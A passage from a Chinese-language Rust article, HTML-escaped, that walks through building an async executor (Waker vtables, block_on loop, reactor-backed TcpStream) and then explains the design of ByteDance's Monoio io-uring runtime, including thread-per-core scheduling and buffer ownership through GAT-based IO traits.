&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h4 id=&quot;waker&quot;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;rustmagazine.github.io&#x2F;rust_magazine_2021&#x2F;chapter_12&#x2F;monoio.html#waker&quot;&gt;Waker&lt;&#x2F;a&gt;&lt;&#x2F;h4&gt;
&lt;p&gt;Executor 需要提供 Context，其中包含 Waker。Waker 需要能够在被 wake 时将任务推入执行队列等待执行。&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;
#![allow(unused)]
fn main() {
pub struct Waker {
    waker: RawWaker,
}

pub struct RawWaker {
    data: *const (),
    vtable: &amp;amp;&amp;#x27;static RawWakerVTable,
}
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Waker 通过自行指针和 vtable 自行实现动态分发。所以我们要做的事情有两个：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;拿到 Task 结构的指针并维护它的引用计数&lt;&#x2F;li&gt;
&lt;li&gt;生成类型对应的 vtable&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;我们可以这么定义 vtable：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;
#![allow(unused)]
fn main() {
struct Helper;

impl Helper {
    const VTABLE: RawWakerVTable = RawWakerVTable::new(
        Self::clone_waker,
        Self::wake,
        Self::wake_by_ref,
        Self::drop_waker,
    );

    unsafe fn clone_waker(data: *const ()) -&amp;gt; RawWaker {
        increase_refcount(data);
        let vtable = &amp;amp;Self::VTABLE;
        RawWaker::new(data, vtable)
    }

    unsafe fn wake(ptr: *const ()) {
        let rc = Rc::from_raw(ptr as *const Task);
        rc.wake_();
    }

    unsafe fn wake_by_ref(ptr: *const ()) {
        let rc = mem::ManuallyDrop::new(Rc::from_raw(ptr as *const Task));
        rc.wake_by_ref_();
    }

    unsafe fn drop_waker(ptr: *const ()) {
        drop(Rc::from_raw(ptr as *const Task));
    }
}

unsafe fn increase_refcount(data: *const ()) {
    let rc = mem::ManuallyDrop::new(Rc::&amp;lt;Task&amp;gt;::from_raw(data as *const Task));
    let _rc_clone: mem::ManuallyDrop&amp;lt;_&amp;gt; = rc.clone();
}
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;手动管理引用计数：我们会通过 &lt;code&gt;Rc::into_raw&lt;&#x2F;code&gt; 来取得 &lt;code&gt;Rc&lt;&#x2F;code&gt; 的裸指针并使用它和 vtable 构建 RawTask 然后构建 Task。在 vtable 实现中，我们需要小心地手动管理引用计数：如 &lt;code&gt;clone_waker&lt;&#x2F;code&gt; 时，虽然我们只 clone 一个指针，但它在含义上有了一次拷贝，所以我们需要手动让其引用计数加一。&lt;&#x2F;p&gt;
&lt;p&gt;Task 实现 &lt;code&gt;wake_&lt;&#x2F;code&gt; 和 &lt;code&gt;wake_by_ref_&lt;&#x2F;code&gt; 来重新调度任务。重新调度任务做的事情只是简单地从 thread local storage 拿到 executor 然后向 TaskQueue push。&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;
#![allow(unused)]
fn main() {
impl Task {
    fn wake_(self: Rc&amp;lt;Self&amp;gt;) {
        Self::wake_by_ref_(&amp;amp;self)
    }

    fn wake_by_ref_(self: &amp;amp;Rc&amp;lt;Self&amp;gt;) {
        EX.with(|ex| ex.local_queue.push(self.clone()));
    }
}
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h4 id=&quot;executor-2&quot;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;rustmagazine.github.io&#x2F;rust_magazine_2021&#x2F;chapter_12&#x2F;monoio.html#executor-2&quot;&gt;Executor&lt;&#x2F;a&gt;&lt;&#x2F;h4&gt;
&lt;p&gt;有了前面这些组件以后，构建 Executor 是非常简单的。&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;
#![allow(unused)]
fn main() {
scoped_tls::scoped_thread_local!(pub(crate) static EX: Executor);

pub struct Executor {
    local_queue: TaskQueue,
    pub(crate) reactor: Rc&amp;lt;RefCell&amp;lt;Reactor&amp;gt;&amp;gt;,

    &amp;#x2F;&amp;#x2F;&amp;#x2F; Make sure the type is `!Send` and `!Sync`.
    _marker: PhantomData&amp;lt;Rc&amp;lt;()&amp;gt;&amp;gt;,
}
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;当用户 spawn Task 的时候：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;
#![allow(unused)]
fn main() {
impl Executor {
    pub fn spawn(fut: impl Future&amp;lt;Output = ()&amp;gt; + &amp;#x27;static) {
        let t = Rc::new(Task {
            future: RefCell::new(fut.boxed_local()),
        });
        EX.with(|ex| ex.local_queue.push(t));
    }
}
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;其实做的事情就是将传入的 Future Box 起来然后构建 &lt;code&gt;Rc&lt;&#x2F;code&gt; 之后丢到执行队列里。&lt;&#x2F;p&gt;
&lt;p&gt;那么 Executor 的主循环在哪呢？我们可以放在 &lt;code&gt;block_on&lt;&#x2F;code&gt; 里。&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;
#![allow(unused)]
fn main() {
impl Executor {
    pub fn block_on&amp;lt;F, T, O&amp;gt;(&amp;amp;self, f: F) -&amp;gt; O
    where
        F: Fn() -&amp;gt; T,
        T: Future&amp;lt;Output = O&amp;gt; + &amp;#x27;static,
    {
        let _waker = waker_fn::waker_fn(|| {});
        let cx = &amp;amp;mut Context::from_waker(&amp;amp;_waker);

        EX.set(self, || {
            let fut = f();
            pin_utils::pin_mut!(fut);
            loop {
                &amp;#x2F;&amp;#x2F; return if the outer future is ready
                if let std::task::Poll::Ready(t) = fut.as_mut().poll(cx) {
                    break t;
                }

                &amp;#x2F;&amp;#x2F; consume all tasks
                while let Some(t) = self.local_queue.pop() {
                    let future = t.future.borrow_mut();
                    let w = waker(t.clone());
                    let mut context = Context::from_waker(&amp;amp;w);
                    let _ = Pin::new(future).as_mut().poll(&amp;amp;mut context);
                }

                &amp;#x2F;&amp;#x2F; no task to execute now, it may ready
                if let std::task::Poll::Ready(t) = fut.as_mut().poll(cx) {
                    break t;
                }

                &amp;#x2F;&amp;#x2F; block for io
                self.reactor.borrow_mut().wait();
            }
        })
    }
}
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;这段有点复杂，可以分成以下几个步骤：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;创建一个 dummy_waker，这个 waker 其实啥事不做。&lt;&#x2F;li&gt;
&lt;li&gt;(in loop)poll 传入的 future，检查是否 ready，如果 ready 就返回，结束 block_on。&lt;&#x2F;li&gt;
&lt;li&gt;(in loop)循环处理 TaskQueue 中的所有 Task：构建它对应的 Waker 然后 poll 它。&lt;&#x2F;li&gt;
&lt;li&gt;(in loop)这时已经没有待执行的任务了，可能主 future 已经 ready 了，也可能都在等待 IO。所以再次检查主 future，如果 ready 就返回。&lt;&#x2F;li&gt;
&lt;li&gt;(in loop)既然所有人都在等待 IO，那就 &lt;code&gt;reactor.wait()&lt;&#x2F;code&gt;。这时 reactor 会陷入 syscall 等待至少一个 IO 可执行，然后唤醒对应 Task，会向 TaskQueue 里推任务。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;至此 Executor 基本写完了。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;io-zu-jian-1&quot;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;rustmagazine.github.io&#x2F;rust_magazine_2021&#x2F;chapter_12&#x2F;monoio.html#io-%E7%BB%84%E4%BB%B6-1&quot;&gt;IO 组件&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;IO 组件要在 WouldBlock 时将其挂在 Reactor 上。以 TcpStream 为例，我们需要为其实现 &lt;code&gt;tokio::io::AsyncRead&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;
#![allow(unused)]
fn main() {
pub struct TcpStream {
    stream: StdTcpStream,
}
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;在创建 TcpStream 时需要将其添加到 Poller 上，销毁时需要摘下：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;
#![allow(unused)]
fn main() {
impl From&amp;lt;StdTcpStream&amp;gt; for TcpStream {
    fn from(stream: StdTcpStream) -&amp;gt; Self {
        let reactor = get_reactor();
        reactor.borrow_mut().add(stream.as_raw_fd());
        Self { stream }
    }
}

impl Drop for TcpStream {
    fn drop(&amp;amp;mut self) {
        println!(&amp;quot;drop&amp;quot;);
        let reactor = get_reactor();
        reactor.borrow_mut().delete(self.stream.as_raw_fd());
    }
}
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;在实现 AsyncRead 时，对其做 read syscall。因为在添加到 Poller 时已经设置 fd 为非阻塞，所以这里 syscall 是安全的。&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;
#![allow(unused)]
fn main() {
impl tokio::io::AsyncRead for TcpStream {
    fn poll_read(
        mut self: std::pin::Pin&amp;lt;&amp;amp;mut Self&amp;gt;,
        cx: &amp;amp;mut std::task::Context&amp;lt;&amp;#x27;_&amp;gt;,
        buf: &amp;amp;mut tokio::io::ReadBuf&amp;lt;&amp;#x27;_&amp;gt;,
    ) -&amp;gt; Poll&amp;lt;io::Result&amp;lt;()&amp;gt;&amp;gt; {
        let fd = self.stream.as_raw_fd();
        unsafe {
            let b = &amp;amp;mut *(buf.unfilled_mut() as *mut [std::mem::MaybeUninit&amp;lt;u8&amp;gt;] as *mut [u8]);
            println!(&amp;quot;read for fd {}&amp;quot;, fd);
            match self.stream.read(b) {
                Ok(n) =&amp;gt; {
                    println!(&amp;quot;read for fd {} done, {}&amp;quot;, fd, n);
                    buf.assume_init(n);
                    buf.advance(n);
                    Poll::Ready(Ok(()))
                }
                Err(ref e) if e.kind() == std::io::ErrorKind::WouldBlock =&amp;gt; {
                    println!(&amp;quot;read for fd {} done WouldBlock&amp;quot;, fd);
                    &amp;#x2F;&amp;#x2F; modify reactor to register interest
                    let reactor = get_reactor();
                    reactor
                        .borrow_mut()
                        .modify_readable(self.stream.as_raw_fd(), cx);
                    Poll::Pending
                }
                Err(e) =&amp;gt; {
                    println!(&amp;quot;read for fd {} done err&amp;quot;, fd);
                    Poll::Ready(Err(e))
                }
            }
        }
    }
}
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;read syscall 可能会返回正确的结果，也可能会返回错误。其中错误中有一个错误需要特殊处理，就是 &lt;code&gt;WouldBlock&lt;&#x2F;code&gt;。当 &lt;code&gt;WouldBlock&lt;&#x2F;code&gt; 时，我们便需要将其挂在 Reactor 上，这里通过我们前面定义的函数 &lt;code&gt;modify_readable&lt;&#x2F;code&gt; 表示我们对 readabe 是关心的。在挂 Reactor 动作完成后，我们可以放心地返回 &lt;code&gt;Poll::Pending&lt;&#x2F;code&gt;，因为我们知道，它后续会被唤醒。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;shi-xian-pian&quot;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;rustmagazine.github.io&#x2F;rust_magazine_2021&#x2F;chapter_12&#x2F;monoio.html#%E5%AE%9E%E7%8E%B0%E7%AF%87&quot;&gt;实现篇&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;h2 id=&quot;monoio&quot;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;rustmagazine.github.io&#x2F;rust_magazine_2021&#x2F;chapter_12&#x2F;monoio.html#monoio&quot;&gt;Monoio&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;h3 id=&quot;motivation&quot;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;rustmagazine.github.io&#x2F;rust_magazine_2021&#x2F;chapter_12&#x2F;monoio.html#motivation&quot;&gt;Motivation&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;我在字节参与 Mesh Proxy（基于 Envoy）的研发过程中，我感觉我们不得不因为 C++ 的问题而采取非常不优雅的代码组织和设计。&lt;&#x2F;p&gt;
&lt;p&gt;因此我尝试调研了基于 Linkerd2-proxy（一个基于 Rust + Tokio 的 Mesh Proxy）来替代现有版本。压测数据显示，在 HTTP 场景性能提升只有 10% 左右；而 Envoy 压测数据显示非常多的 CPU 消耗是在 syscall 上。&lt;&#x2F;p&gt;
&lt;p&gt;我们可以利用 Rust 泛型编程消除 C++ 中的基于动态分发的抽象带来的运行时开销；在 IO 上，我们考虑利用 io-uring 来替代 epoll。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;qian-qi-diao-yan&quot;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;rustmagazine.github.io&#x2F;rust_magazine_2021&#x2F;chapter_12&#x2F;monoio.html#%E5%89%8D%E6%9C%9F%E8%B0%83%E7%A0%94&quot;&gt;前期调研&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;项目前期我们对比了几种方案下的性能：1. Tokio 2. Glommio 3. 裸 epoll 4. 裸 io-uring。之后发现裸 io-uring 性能上确实领先，但基于 io-uring 的 Glommio 的表现并不如人意。我们尝试 fork Glommio 的代码并做优化，发现它的项目本身存在较大问题，比如创建 uring 的 flag 似乎都没有正确理解；同时，它的 Task 实现相比 Tokio 的也性能较差。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;zi-ji-zao-lun-zi&quot;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;rustmagazine.github.io&#x2F;rust_magazine_2021&#x2F;chapter_12&#x2F;monoio.html#%E8%87%AA%E5%B7%B1%E9%80%A0%E8%BD%AE%E5%AD%90&quot;&gt;自己造轮子&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;最终我们决定自己造一套 Runtime 来满足内部需求，提供极致的性能。&lt;&#x2F;p&gt;
&lt;p&gt;该项目是我和 @dyxushuai 两人共同完成的。在我们实现过程中，我们大量参考了 Tokio、Tokio-uring 等项目，并且尝试了一些自己的设计。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;mo-xing-tao-lun&quot;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;rustmagazine.github.io&#x2F;rust_magazine_2021&#x2F;chapter_12&#x2F;monoio.html#%E6%A8%A1%E5%9E%8B%E8%AE%A8%E8%AE%BA&quot;&gt;模型讨论&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;不同的设计模型会有各自擅长的应用场景。&lt;&#x2F;p&gt;
&lt;p&gt;Tokio 使用了公平调度模型，其内部的调度逻辑类似 Golang，任务可以在线程之间转移，这样能尽可能充分地利用多核心的性能。&lt;&#x2F;p&gt;
&lt;p&gt;Glommio 也是一个 Rust Runtime，它基于 io-uring 实现，调度逻辑相比 Tokio 更加简单，是 thread-per-core 模型。&lt;&#x2F;p&gt;
&lt;p&gt;两种模型各有优劣，前者更加灵活，通用型更强，但代价也并不小：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;|在多核机器上的性能表现不佳。||
|在我的 1K Echo 的测试中(2021-11-26 latest version)，Tokio 4 Core 下性能只是 1 Core 下性能的 2.2 倍左右。而我们自己的 Monoio 可以基本保持线性。||&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;1 Core&lt;&#x2F;th&gt;&lt;th&gt;4 Cores&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;bytedance-rust-runtime&#x2F;monoio-tokio-echo-benchmark.png&quot; alt=&quot;1core&quot; &#x2F;&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;bytedance-rust-runtime&#x2F;monoio-benchmark-scaling.png&quot; alt=&quot;4cores&quot; &#x2F;&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;详细的测试报告在&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;bytedance&#x2F;monoio&#x2F;blob&#x2F;master&#x2F;docs&#x2F;zh&#x2F;benchmark.md&quot;&gt;这里&lt;&#x2F;a&gt;。&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;对 Task 本身的约束也不能忽视。如果 Task 可以在 Thread 之间调度，那么它必须实现 &lt;code&gt;Send + Sync&lt;&#x2F;code&gt;。这对用户代码是一个不小的限制。
举例来说，如果要实现一个 cache 服务，基于公平调度模型的话，cache 对应的 map 就要通过 Atomic 或 Mutex 等来确保 &lt;code&gt;Send + Sync&lt;&#x2F;code&gt;；而如果实现成 thread-per-core 模型，直接使用 thread local 就可以了。以及，nginx 和 envoy 也是基于这种模型。&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;但是 thread-per-core 并不是银弹。例如，在业务系统中，不同的请求可能处理起来的逻辑是不同的，有的长连接需要做大量的运算，有的则几乎不怎么消耗 CPU。如果基于这种模型，那么很可能导致 CPU 核心之间出现不均衡，某个核心已经被满载，而另一个核心又非常空闲。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;shi-jian-qu-dong&quot;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;rustmagazine.github.io&#x2F;rust_magazine_2021&#x2F;chapter_12&#x2F;monoio.html#%E4%BA%8B%E4%BB%B6%E9%A9%B1%E5%8A%A8&quot;&gt;事件驱动&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;这里主要讨论 io-uring 和 epoll。&lt;&#x2F;p&gt;
&lt;p&gt;epoll 只是通知机制，本质上事情还是通过用户代码直接 syscall 来做的，如 read。这样在高频 syscall 的场景下，频繁的用户态内核态切换会消耗较多资源。io-uring 可以做异步 syscall，即便是不开 &lt;code&gt;SQ_POLL&lt;&#x2F;code&gt; 也可以大大减少 syscall 次数。&lt;&#x2F;p&gt;
&lt;p&gt;io-uring 的问题在于下面几点：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;兼容问题。平台兼容就不说了，linux only（epoll 在其他平台上有类似的存在，可以基于已经十分完善的 mio 做无缝兼容）。linux 上也会对 kernel 版本有一定要求，且不同版本的实现性能还有一定差距。大型公司一般还会有自己修改的内核版本，所以想持续跟进 backport 也是一件头疼事。同时对于 Mac&#x2F;Windows 用户，在开发体验上也会带来一定困难。&lt;&#x2F;li&gt;
&lt;li&gt;Buffer 生命周期问题。io-uring 是全异步的，Op push 到 SQ 后就不能移动 buffer，一定要保证其有效，直到 syscall 完成或 Cancel Op 执行完毕。无论是在 C&#x2F;C++ 还是 Rust 中，都会面临 buffer 生命周期管理问题。epoll 没有这个问题，因为 syscall 就是用户做的，陷入 syscall 期间本来就无法操作 buffer，所以可以保证其持续有效直到 syscall 返回。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;h2 id=&quot;sheng-ming-zhou-qi-io-jie-kou-yu-gat&quot;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;rustmagazine.github.io&#x2F;rust_magazine_2021&#x2F;chapter_12&#x2F;monoio.html#%E7%94%9F%E5%91%BD%E5%91%A8%E6%9C%9Fio-%E6%8E%A5%E5%8F%A3%E4%B8%8E-gat&quot;&gt;生命周期、IO 接口与 GAT&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;前一小节提到了 io-uring 的这个问题：需要某种机制保证 buffer 在 Op 执行期间是有效的。&lt;&#x2F;p&gt;
&lt;p&gt;考虑下面这种情况：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;用户创建了 Buffer&lt;&#x2F;li&gt;
&lt;li&gt;用户拿到了 buffer 的引用（不管是 &lt;code&gt;&amp;amp;&lt;&#x2F;code&gt; 还是 &lt;code&gt;&amp;amp;mut&lt;&#x2F;code&gt;）来做 read 和 write。&lt;&#x2F;li&gt;
&lt;li&gt;Runtime 返回了 Future，但用户直接将其 Drop 了。&lt;&#x2F;li&gt;
&lt;li&gt;现在没有人持有 buffer 的引用了，用户可以直接将其 Drop 掉。&lt;&#x2F;li&gt;
&lt;li&gt;但是，buffer 的地址和长度已经被提交给内核，它可能即将被处理，也可能已经在处理中了。我们可以推入一个 &lt;code&gt;CancelOp&lt;&#x2F;code&gt; 进去，但是我们也不能保证 &lt;code&gt;CancelOp&lt;&#x2F;code&gt; 被立刻消费。&lt;&#x2F;li&gt;
&lt;li&gt;Kernel 这时已经在操作错误的内存啦，如果这块内存被用户程序复用，会导致内存破坏。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;如果 Rust 实现了 Async Drop，这件事还能做——以正常的方式拿引用来使用 buffer；然鹅木有，我们不能保证及时取消掉内核对 buffer 的读写。&lt;&#x2F;p&gt;
&lt;p&gt;所以，我们很难在不拿所有权的情况下保证 buffer 的有效性。这样就对 IO 接口有个新的挑战：常规的 IO 接口只需要给 &lt;code&gt;&amp;amp;self&lt;&#x2F;code&gt; 或 &lt;code&gt;&amp;amp;mut self&lt;&#x2F;code&gt;，而我们必须要给所有权。&lt;&#x2F;p&gt;
&lt;p&gt;这部分设计我们参考了 tokio-uring，并把它定义为了 trait。这个 Trait 必须启动 GAT。&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;
#![allow(unused)]
fn main() {
&amp;#x2F;&amp;#x2F;&amp;#x2F; AsyncReadRent: async read with a ownership of a buffer
pub trait AsyncReadRent {
    &amp;#x2F;&amp;#x2F;&amp;#x2F; The future of read Result&amp;lt;size, buffer&amp;gt;
    type ReadFuture&amp;lt;&amp;#x27;a, T&amp;gt;: Future&amp;lt;Output = BufResult&amp;lt;usize, T&amp;gt;&amp;gt;
    where
        Self: &amp;#x27;a,
        T: &amp;#x27;a;
    &amp;#x2F;&amp;#x2F;&amp;#x2F; The future of readv Result&amp;lt;size, buffer&amp;gt;
    type ReadvFuture&amp;lt;&amp;#x27;a, T&amp;gt;: Future&amp;lt;Output = BufResult&amp;lt;usize, T&amp;gt;&amp;gt;
    where
        Self: &amp;#x27;a,
        T: &amp;#x27;a;

    &amp;#x2F;&amp;#x2F;&amp;#x2F; Same as read(2)
    fn read&amp;lt;T: IoBufMut&amp;gt;(&amp;amp;self, buf: T) -&amp;gt; Self::ReadFuture&amp;lt;&amp;#x27;_, T&amp;gt;;
    &amp;#x2F;&amp;#x2F;&amp;#x2F; Same as readv(2)
    fn readv&amp;lt;T: IoVecBufMut&amp;gt;(&amp;amp;self, buf: T) -&amp;gt; Self::ReadvFuture&amp;lt;&amp;#x27;_, T&amp;gt;;
}

&amp;#x2F;&amp;#x2F;&amp;#x2F; AsyncWriteRent: async write with a ownership of a buffer
pub trait AsyncWriteRent {
    &amp;#x2F;&amp;#x2F;&amp;#x2F; The future of write Result&amp;lt;size, buffer&amp;gt;
    type WriteFuture&amp;lt;&amp;#x27;a, T&amp;gt;: Future&amp;lt;Output = BufResult&amp;lt;usize, T&amp;gt;&amp;gt;
    where
        Self: &amp;#x27;a,
        T: &amp;#x27;a;
    &amp;#x2F;&amp;#x2F;&amp;#x2F; The future of writev Result&amp;lt;size, buffer&amp;gt;
    type WritevFuture&amp;lt;&amp;#x27;a, T&amp;gt;: Future&amp;lt;Output = BufResult&amp;lt;usize, T&amp;gt;&amp;gt;
    where
        Self: &amp;#x27;a,
        T: &amp;#x27;a;

    &amp;#x2F;&amp;#x2F;&amp;#x2F; Same as write(2)
    fn write&amp;lt;T: IoBuf&amp;gt;(&amp;amp;self, buf: T) -&amp;gt; Self::WriteFuture&amp;lt;&amp;#x27;_, T&amp;gt;;

    &amp;#x2F;&amp;#x2F;&amp;#x2F; Same as writev(2)
    fn writev&amp;lt;T: IoVecBuf&amp;gt;(&amp;amp;self, buf_vec: T) -&amp;gt; Self::WritevFuture&amp;lt;&amp;#x27;_, T&amp;gt;;
}
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;类似 Tokio 的做法，我们还提供了一个带默认实现的 Ext：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;
#![allow(unused)]
fn main() {
pub trait AsyncReadRentExt&amp;lt;T: &amp;#x27;static&amp;gt; {
    &amp;#x2F;&amp;#x2F;&amp;#x2F; The future of Result&amp;lt;size, buffer&amp;gt;
    type Future&amp;lt;&amp;#x27;a&amp;gt;: Future&amp;lt;Output = BufResult&amp;lt;usize, T&amp;gt;&amp;gt;
    where
        Self: &amp;#x27;a,
        T: &amp;#x27;a;

    &amp;#x2F;&amp;#x2F;&amp;#x2F; Read until buf capacity is fulfilled
    fn read_exact(&amp;amp;self, buf: T) -&amp;gt; &amp;lt;Self as AsyncReadRentExt&amp;lt;T&amp;gt;&amp;gt;::Future&amp;lt;&amp;#x27;_&amp;gt;;
}

impl&amp;lt;A, T&amp;gt; AsyncReadRentExt&amp;lt;T&amp;gt; for A
where
    A: AsyncReadRent,
    T: &amp;#x27;static + IoBufMut,
{
    type Future&amp;lt;&amp;#x27;a&amp;gt;
    where
        A: &amp;#x27;a,
    = impl Future&amp;lt;Output = BufResult&amp;lt;usize, T&amp;gt;&amp;gt;;

    fn read_exact(&amp;amp;self, mut buf: T) -&amp;gt; Self::Future&amp;lt;&amp;#x27;_&amp;gt; {
        async move {
            let len = buf.bytes_total();
            let mut read = 0;
            while read &amp;lt; len {
                let slice = buf.slice(read..len);
                let (r, slice_) = self.read(slice).await;
                buf = slice_.into_inner();
                match r {
                    Ok(r) =&amp;gt; {
                        read += r;
                        if r == 0 {
                            return (Err(std::io::ErrorKind::UnexpectedEof.into()), buf);
                        }
                    }
                    Err(e) =&amp;gt; return (Err(e), buf),
                }
            }
            (Ok(read), buf)
        }
    }
}

pub trait AsyncWriteRentExt&amp;lt;T: &amp;#x27;static&amp;gt; {
    &amp;#x2F;&amp;#x2F;&amp;#x2F; The future of Result&amp;lt;size, buffer&amp;gt;
    type Future&amp;lt;&amp;#x27;a&amp;gt;: Future&amp;lt;Output = BufResult&amp;lt;usize, T&amp;gt;&amp;gt;
    where
        Self: &amp;#x27;a,
        T: &amp;#x27;a;

    &amp;#x2F;&amp;#x2F;&amp;#x2F; Write all
    fn write_all(&amp;amp;self, buf: T) -&amp;gt; &amp;lt;Self as AsyncWriteRentExt&amp;lt;T&amp;gt;&amp;gt;::Future&amp;lt;&amp;#x27;_&amp;gt;;
}

impl&amp;lt;A, T&amp;gt; AsyncWriteRentExt&amp;lt;T&amp;gt; for A
where
    A: AsyncWriteRent,
    T: &amp;#x27;static + IoBuf,
{
    type Future&amp;lt;&amp;#x27;a&amp;gt;
    where
        A: &amp;#x27;a,
    = impl Future&amp;lt;Output = BufResult&amp;lt;usize, T&amp;gt;&amp;gt;;

    fn write_all(&amp;amp;self, mut buf: T) -&amp;gt; Self::Future&amp;lt;&amp;#x27;_&amp;gt; {
        async move {
            let len = buf.bytes_init();
            let mut written = 0;
            while written &amp;lt; len {
                let slice = buf.slice(written..len);
                let (r, slice_) = self.write(slice).await;
                buf = slice_.into_inner();
                match r {
                    Ok(r) =&amp;gt; {
                        written += r;
                        if r == 0 {
                            return (Err(std::io::ErrorKind::WriteZero.into()), buf);
                        }
                    }
                    Err(e) =&amp;gt; return (Err(e), buf),
                }
            }
            (Ok(written), buf)
        }
    }
}
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;开启 GAT 可以让我们很多事情变得方便。&lt;&#x2F;p&gt;
&lt;p&gt;我们在 trait 中的关联类型 Future 上定义了生命周期，这样它就可以捕获 &lt;code&gt;&amp;amp;self&lt;&#x2F;code&gt; 而不是非要 &lt;code&gt;Clone self&lt;&#x2F;code&gt; 中的部分成员，或者单独定义一个带生命周期标记的结构体。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;ding-yi-future&quot;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;rustmagazine.github.io&#x2F;rust_magazine_2021&#x2F;chapter_12&#x2F;monoio.html#%E5%AE%9A%E4%B9%89-future&quot;&gt;定义 Future&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;如何定义一个 Future？常规我们需要定义一个结构体，并为它实现 Future trait。这里的关键在于要实现 &lt;code&gt;poll&lt;&#x2F;code&gt; 函数。这个函数接收 &lt;code&gt;Context&lt;&#x2F;code&gt; 并同步地返回 &lt;code&gt;Poll&lt;&#x2F;code&gt;。要实现 &lt;code&gt;poll&lt;&#x2F;code&gt; 我们一般需要手动管理状态，写起来十分困难且容易出错。&lt;&#x2F;p&gt;
